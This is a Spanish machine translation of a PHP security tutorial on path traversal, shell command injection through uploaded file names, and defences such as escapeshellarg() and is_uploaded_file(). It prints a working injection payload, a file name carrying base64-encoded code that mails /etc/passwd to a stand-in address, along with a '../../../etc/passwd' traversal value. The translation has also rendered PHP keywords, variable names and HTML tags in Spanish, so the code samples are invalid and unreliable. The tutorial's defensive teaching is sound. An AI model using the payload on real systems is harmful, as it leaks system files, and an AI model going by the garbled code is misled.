La importancia de prestar atención a los problemas de seguridad Ver más que todo
La forma más efectiva, aunque a menudo pasada por alto, de evitar que los usuarios dañen maliciosamente sus programas es considerar esa posibilidad cuando escribe su código. Es importante estar al tanto de posibles problemas de seguridad en su código. Considere la siguiente función de ejemplo diseñada para simplificar el proceso de escritura de archivos de texto grandes en PHP:
<?php
función write_text($nombre de archivo, $text="") {
estático $open_files = matriz();
// Si el nombre del archivo está vacío, cierra todos los archivos
si ($nombre de archivo == NULL) {
foreach($open_files como $fr) {
fclose($es);
}
devolver verdadero;
}
$índice = md5($nombre de archivo);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($nombre de archivo, "a+");
if(!$open_files[$index]) devuelve falso;
}
fputs($open_files[$índice], $texto);
devolver verdadero;
}
?>
Esta función toma dos parámetros predeterminados, el nombre del archivo y el texto que se escribirá en el archivo.
La función primero verificará si el archivo ya está abierto; de ser así, se utilizará el identificador del archivo original. De lo contrario, será creado por sí mismo. En ambos casos, el texto se escribe en el archivo.
Si el nombre de archivo pasado a la función es NULL, se cerrarán todos los archivos abiertos. A continuación se proporciona un ejemplo de uso.
Esta función será mucho más clara y legible si el desarrollador escribe varios archivos de texto en el siguiente formato.
Supongamos que esta función existe en un archivo separado que contiene el código que llama a esta función.
A continuación se muestra un programa de este tipo, llamémoslo quotes.php:
<html><body>
<formulario acción="<?=$_SERVER['PHP_SELF']?>" método="obtener">
Elija la naturaleza de la cotización:
<seleccione nombre="cita" tamaño="3">
<option value="funny">Citas humorísticas</option>
<option value="political">Citas políticas</option>
<option value="love">Citas románticas</option>
</seleccionar><br />
La cita: <input type="text" name="quote_text" size="30" />
<tipo de entrada="enviar" valor="Guardar cotización" />
</formulario>
</body></html>
<?php
include_once('write_text.php');
$nombre de archivo = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($nombre de archivo, $quote_msg)) {
echo "<center><hr><h2>¡Cita guardada!</h2></center>";
} demás {
echo "<center><hr><h2>Error al escribir la cita</h2></center>";
}
escribir_texto (NULL);
?>
Como puede ver, el desarrollador utilizó la función write_text() para crear un sistema donde los usuarios pueden enviar sus citas favoritas, que se almacenarán en un archivo de texto.
Desafortunadamente, es posible que los desarrolladores no hayan pensado que este programa también permite a usuarios malintencionados comprometer la seguridad del servidor web.
Tal vez ahora mismo se esté rascando la cabeza preguntándose cómo este programa aparentemente inocente podría presentar un riesgo de seguridad.
Si no puede saberlo, considere la siguiente URL y recuerde que este programa se llama quotes.php:
http://www.somewhere.com/fun/quotes.php?quote= Different_file.dat
"e_text=garbage+dataCuando esto La URL se pasa a ¿Qué pasará cuando se utilice el servidor web?
Obviamente, se ejecutará quotes.php, pero en lugar de escribir una cita en uno de los tres archivos que queremos, se creará un nuevo archivo llamado different_file.dat que contiene la cadena de datos basura.
Obviamente, este no es el comportamiento deseado. Un usuario malintencionado podría acceder al archivo de contraseñas de UNIX y crear una cuenta especificando una cita como ../../../etc/passwd (aunque esto requiere que el servidor web ejecute el programa como superusuario). . Si es así, deberías dejar de leer e ir a solucionarlo ahora).
Si se puede acceder a /home/web/quotes/ a través de un navegador, quizás el problema de seguridad más grave con este programa es que permite a cualquier usuario escribir y ejecutar programas PHP arbitrarios. Esto causará un sinfín de problemas.
Aquí hay algunas soluciones. Si solo necesita escribir unos pocos archivos en un directorio, considere usar una matriz asociada para almacenar los nombres de los archivos. Si el archivo ingresado por el usuario existe en esta matriz, se puede escribir de forma segura. Otra idea es eliminar todos los caracteres que no sean letras ni números para garantizar que no haya separadores de directorio. Otra forma es verificar la extensión del archivo para asegurarse de que el servidor web no lo ejecute.
El principio es simple, como desarrollador tienes que pensar más que en lo que hace tu programa cuando quieres que se ejecute.
¿Qué sucede si ingresan datos ilegales a un elemento de formulario? ¿Podría un usuario malintencionado hacer que su programa se comporte de forma no deseada? ¿Qué se puede hacer para detener estos ataques? Su servidor web y su programa PHP sólo están seguros bajo el enlace de seguridad más débil, por lo que es importante confirmar que estos enlaces potencialmente inseguros lo sean.
Errores comunes relacionados con la seguridad A continuación se muestran algunos aspectos destacados, una lista breve e incompleta de errores administrativos y de codificación que pueden comprometer la seguridad
. Confiar en los datos Este es un tema que aparece a lo largo de mi discusión sobre la seguridad del programa PHP. Nunca debes confiar en los datos que provienen del exterior. Ya sea que provenga de un formulario enviado por el usuario, un archivo en el sistema de archivos o una variable de entorno, ningún dato puede darse por sentado. Por lo tanto, la entrada del usuario debe validarse y formatearse para garantizar la seguridad.
Error 2. Almacenamiento de datos confidenciales en directorios web Todos y cada uno de los datos confidenciales deben almacenarse en archivos separados de los programas que necesitan utilizar los datos y en un directorio al que no se pueda acceder a través del navegador. Cuando sea necesario utilizar datos confidenciales, inclúyalos en el programa PHP apropiado mediante declaraciones include o require.
Error 3. No utilizar las precauciones de seguridad recomendadas.
El Manual de PHP contiene un capítulo completo sobre precauciones de seguridad al usar y escribir programas PHP. El manual también explica (casi) claramente, basándose en estudios de casos, cuándo existen posibles riesgos de seguridad y cómo minimizarlos. En otro ejemplo, los usuarios malintencionados confían en los errores de los desarrolladores y administradores para obtener la información de seguridad que les interesa y obtener permisos del sistema. Preste atención a estas advertencias y tome las medidas adecuadas para reducir la posibilidad de que un usuario malintencionado cause daños reales a su sistema.
Realizar llamadas al sistema en PHP Hay muchas formas de realizar llamadas al sistema en PHP.
Por ejemplo, system(), exec(), passthru(), popen() y el operador backquote (`) le permiten realizar llamadas al sistema en su programa. El uso inadecuado de estas funciones abrirá la puerta a usuarios malintencionados para ejecutar comandos del sistema en su servidor. Al igual que cuando se accede a archivos, en la gran mayoría de los casos, las vulnerabilidades de seguridad se producen debido a entradas externas poco fiables que conducen a la ejecución de comandos del sistema.
Un programa de ejemplo que utiliza llamadas al sistema Considere un programa que maneja cargas de archivos http. Utiliza el programa zip para comprimir el archivo y luego lo mueve a un directorio específico (el valor predeterminado es /usr/local/archives/). El código es el siguiente:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/"
si (isset($_FILES['archivo'])) {
$tmp_name = $_FILES['archivo']['tmp_name'];
$cmp_name = dirname($_FILES['archivo']['tmp_name']) .
"/{$_FILES['archivo']['nombre']}.zip";
$nombre de archivo = nombre base($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$salida = `$llamada al sistema`;
si (file_exists($cmp_name)) {
$savepath = $store_path.$nombre de archivo;
renombrar($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php eco $_SERVER['PHP_SELF'];
?>" método="POST">
<tipo de entrada="HIDDEN" nombre="MAX_FILE_SIZE" valor="1048576">
Archivo a comprimir: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
Si bien este programa parece bastante simple y fácil de entender, existen algunas formas en que un usuario malintencionado puede explotarlo. El problema de seguridad más grave existe cuando ejecutamos el comando de compresión (a través del operador `), que se puede ver claramente en la siguiente línea:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['archivo']['tmp_name'];
$cmp_name = dirname($_FILES['archivo']['tmp_name']) .
"/{$_FILES['archivo']['nombre']}.zip";
$nombredearchivo = nombrebase($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$salida = `$llamada al sistema`;
...
Engañe al programa para que ejecute comandos de shell arbitrarios. Aunque este código parece bastante seguro, tiene el potencial de permitir que cualquier usuario con permisos de carga de archivos ejecute comandos de shell arbitrarios.
Para ser precisos, esta vulnerabilidad de seguridad proviene de la asignación de la variable $cmp_name. Aquí queremos que el archivo comprimido tenga el mismo nombre de archivo que cuando se cargó desde el cliente (con una extensión .zip). Usamos $_FILES['file']['name'] (que contiene el nombre del archivo cargado en el cliente).
En tal situación, los usuarios malintencionados pueden lograr sus objetivos cargando un archivo que contenga caracteres que tengan un significado especial para el sistema operativo subyacente. Por ejemplo, ¿qué sucede si el usuario crea un archivo vacío como se muestra a continuación? (desde el símbolo del shell de UNIX)
[usuario@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);';"
Este comando creará un archivo con el siguiente nombre:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);';
¿Parece raro? Echemos un vistazo a este "nombre de archivo" y vemos que se parece mucho al comando que hace que la versión CLI de PHP ejecute el siguiente código:
<?php
$código=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);
?>
Si muestra el contenido de la variable $code por curiosidad, encontrará que contiene [email protected] < /etc/passwd. Si el usuario pasa este archivo a un programa y PHP luego realiza una llamada al sistema para comprimir el archivo, PHP ejecutará la siguiente declaración:
/usr/bin/zip /tmp/;php -r
'$código=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);';.zip /tmp/phpY4iatI
¡Sorprendentemente, el comando anterior no es una declaración sino tres! Dado que el shell de UNIX interpreta un punto y coma (;) como el final de un comando del shell y el comienzo de otro comando, excepto cuando el punto y coma está entre comillas, el sistema PHP en realidad se ejecutará de la siguiente manera:
[usuario@localhost]# / usr /bin/zip /tmp/
[usuario@localhost]# php -r
'$código=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);'
[usuario@localhost]# .zip /tmp/phpY4iatI
Como puede ver, este programa PHP aparentemente inofensivo de repente se convirtió en una puerta trasera que puede ejecutar comandos de shell arbitrarios y otros programas PHP. Aunque este ejemplo solo funcionará en sistemas que tengan la versión CLI de PHP en la ruta, existen otras formas de lograr el mismo efecto utilizando esta técnica.
La clave aquí
para combatir los ataques de llamadas al sistema
sigue siendo que no se debe confiar en la entrada del usuario, independientemente del contenido.La pregunta sigue siendo cómo evitar situaciones similares al utilizar llamadas al sistema (aparte de no utilizarlas en absoluto). Para combatir este tipo de ataque, PHP proporciona dos funciones, escapeshellarg() y escapeshellcmd().
La función escapeshellarg() está diseñada para eliminar caracteres potencialmente peligrosos de la entrada del usuario utilizados como argumentos para los comandos del sistema (en nuestro caso, el comando zip). La sintaxis de esta función es la siguiente:
escapeshellarg($string)
$string es la entrada utilizada para el filtrado y el valor de retorno son los caracteres filtrados. Cuando se ejecuta, esta función agregará comillas simples alrededor de los caracteres y escapará (precederá) las comillas simples en la cadena original. En nuestra rutina, si agregamos estas líneas antes de ejecutar el comando del sistema:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
Podemos evitar tales riesgos de seguridad asegurándonos de que el parámetro pasado a la llamada al sistema haya sido procesado y sea una entrada del usuario sin otra intención.
escapeshellcmd() es similar a escapeshellarg(), excepto que solo escapa caracteres que tienen un significado especial para el sistema operativo subyacente. A diferencia de escapeshellarg(), escapeshellcmd() no maneja espacios en blanco en el contenido. Por ejemplo, cuando se escapa usando escapeshellcmd(), los caracteres
$cadena = "'¡hola mundo!';evilcommand"
Se convertirá en:
'hola, mundo'; comando malvado
Si esta cadena se usa como argumento para una llamada al sistema, aún así no dará resultados correctos porque el shell la interpretará como dos argumentos separados: 'hola y mundo'; comando malvado. Si el usuario ingresa parte de la lista de argumentos para una llamada al sistema, escapeshellarg() es una mejor opción.
Protección de archivos cargados A lo largo de este artículo, me he centrado únicamente en cómo usuarios malintencionados pueden secuestrar las llamadas al sistema para producir resultados no deseados.
Sin embargo, existe otro riesgo potencial para la seguridad que vale la pena mencionar aquí. Mirando nuestra rutina nuevamente, centra tu atención en la siguiente línea:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['archivo']['tmp_name']) .
"/{$_FILES['archivo']['nombre']}.zip";
$nombredearchivo = nombrebase($cmp_name);
si (file_exists($tmp_name)) {
Un riesgo potencial de seguridad causado por las líneas de código en el fragmento anterior es que en la última línea determinamos si el archivo cargado realmente existe (existe con el nombre de archivo temporal $tmp_name).
Este riesgo de seguridad no proviene de PHP en sí, sino del hecho de que el nombre del archivo almacenado en $tmp_name no es en realidad un archivo, sino que apunta al archivo al que el usuario malintencionado desea acceder, como /etc/passwd.
Para evitar que esto suceda, PHP proporciona la función is_uploaded_file(), que es la misma que file_exists(), pero también permite verificar si el archivo realmente se cargó desde el cliente.
En la mayoría de los casos, necesitará mover el archivo cargado. PHP proporciona la función move_uploaded_file() para trabajar con is_uploaded_file(). Esta función se utiliza para mover archivos como rename(), excepto que verificará automáticamente para garantizar que el archivo movido sea el archivo cargado antes de la ejecución. La sintaxis de move_uploaded_file() es la siguiente:
move_uploaded_file($nombre de archivo, $destino);
Cuando se ejecuta, la función moverá el archivo cargado $filename al destino $destination y devolverá un valor booleano para indicar si la operación fue exitosa.
Nota: John Coggeshall es autor y consultor de PHP. Han pasado unos 5 años desde que empezó a dormir con PHP.
Texto original en inglés: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html